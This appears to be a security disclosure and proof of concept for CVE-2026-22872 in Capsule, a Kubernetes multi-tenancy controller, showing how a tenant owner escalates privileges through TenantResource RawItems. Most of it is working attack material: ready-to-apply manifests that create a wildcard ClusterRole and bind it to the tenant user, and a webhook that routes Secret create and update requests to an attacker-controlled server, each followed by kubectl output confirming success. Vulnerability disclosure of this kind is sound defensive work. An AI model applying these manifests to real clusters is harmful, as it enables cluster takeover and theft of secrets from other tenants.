Capsule CVE-2026-22872

# ClusterRoleBinding: capsule-manager-rolebinding
   roleRef:
     kind: ClusterRole
     name: cluster-admin

// internal/controllers/resources/processor.go
for rawIndex, item := range spec.RawItems {
    template := string(item.Raw)

    t := fasttemplate.New(template, "{{ ", " }}")
    tmplString := t.ExecuteString(map[string]interface{}{
        "tenant.name": tnt.Name,
        "namespace":   ns.Name,
    })

    obj, keysAndValues := unstructured.Unstructured{}, []interface{}{"index", rawIndex}

    // Issue 1: Accepts any resource type, including cluster-scoped resources
    if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(
        []byte(tmplString), nil, &obj); decodeErr != nil {
        log.Error(decodeErr, "unable to deserialize rawItem", keysAndValues...)
        syncErr = errors.Join(syncErr, decodeErr)
        continue
    }

    // Issue 2: For cluster-scoped resources, this setting is ignored by API
    obj.SetNamespace(ns.Name)

    // Issue 3: Controller creates with cluster-admin privileges, no scope check
    if rawErr := r.createOrUpdate(ctx, &obj, objLabels, objAnnotations); rawErr != nil {
        log.Info("unable to sync rawItem", keysAndValues...)
        syncErr = errors.Join(syncErr, rawErr)
    }
}

Tenant Owner (bob) - Has TenantResource creation permission
  ↓
Creates TenantResource containing cluster-scoped resources
  ↓
Capsule Controller (cluster-admin) processes RawItems
  ↓
obj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)
  ↓
Successfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)
  ↓
Cross-tenant privilege escalation / Cluster-level attacks

kubectl get clusterrolebinding capsule-manager-rolebinding -o yaml

roleRef:
  kind: ClusterRole
  name: cluster-admin
# Controller has full cluster management privileges

kubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1

yes

kubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev

Warning: resource 'clusterroles' is not namespace scoped in group 'rbac.authorization.k8s.io'

no

kubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev

Warning: resource 'validatingwebhookconfigurations' is not namespace scoped in group 'admissionregistration.k8s.io'

no

apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: create-clusterrole
  namespace: tenant-b-ns1
spec:
  resyncPeriod: 60s
  resources:
    - namespaceSelector:
        matchLabels:
          capsule.clastix.io/tenant: tenant-b
      rawItems:
        - apiVersion: rbac.authorization.k8s.io/v1
          kind: ClusterRole
          metadata:
            name: malicious-clusterrole
          rules:
          - apiGroups: ["*"]
            resources: ["*"]
            verbs: ["*"]

kubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev

tenantresource.capsule.clastix.io/create-clusterrole created

kubectl get clusterrole malicious-clusterrole

NAME                    CREATED AT
malicious-clusterrole   2026-01-05T16:10:02Z

kubectl get clusterrole malicious-clusterrole -o yaml

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  annotations:
    capsule.clastix.io/tenant: tenant-b
  name: malicious-clusterrole
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: bob-cluster-admin
subjects:
- kind: User
  name: bob
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: malicious-clusterrole
  apiGroup: rbac.authorization.k8s.io

apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: create-webhook
  namespace: tenant-b-ns1
spec:
  resyncPeriod: 60s
  resources:
    - namespaceSelector:
        matchLabels:
          capsule.clastix.io/tenant: tenant-b
      rawItems:
        - apiVersion: admissionregistration.k8s.io/v1
          kind: ValidatingWebhookConfiguration
          metadata:
            name: malicious-webhook
          webhooks:
          - name: malicious.webhook.com
            clientConfig:
              url: "https://attacker-controlled-server.com/webhook"
            rules:
            - operations: ["CREATE", "UPDATE"]
              apiGroups: [""]
              apiVersions: ["v1"]
              resources: ["secrets"]
            admissionReviewVersions: ["v1"]
            sideEffects: None
            failurePolicy: Ignore

kubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev

tenantresource.capsule.clastix.io/create-webhook created

kubectl get validatingwebhookconfiguration malicious-webhook

NAME                WEBHOOKS   AGE
malicious-webhook   1          5s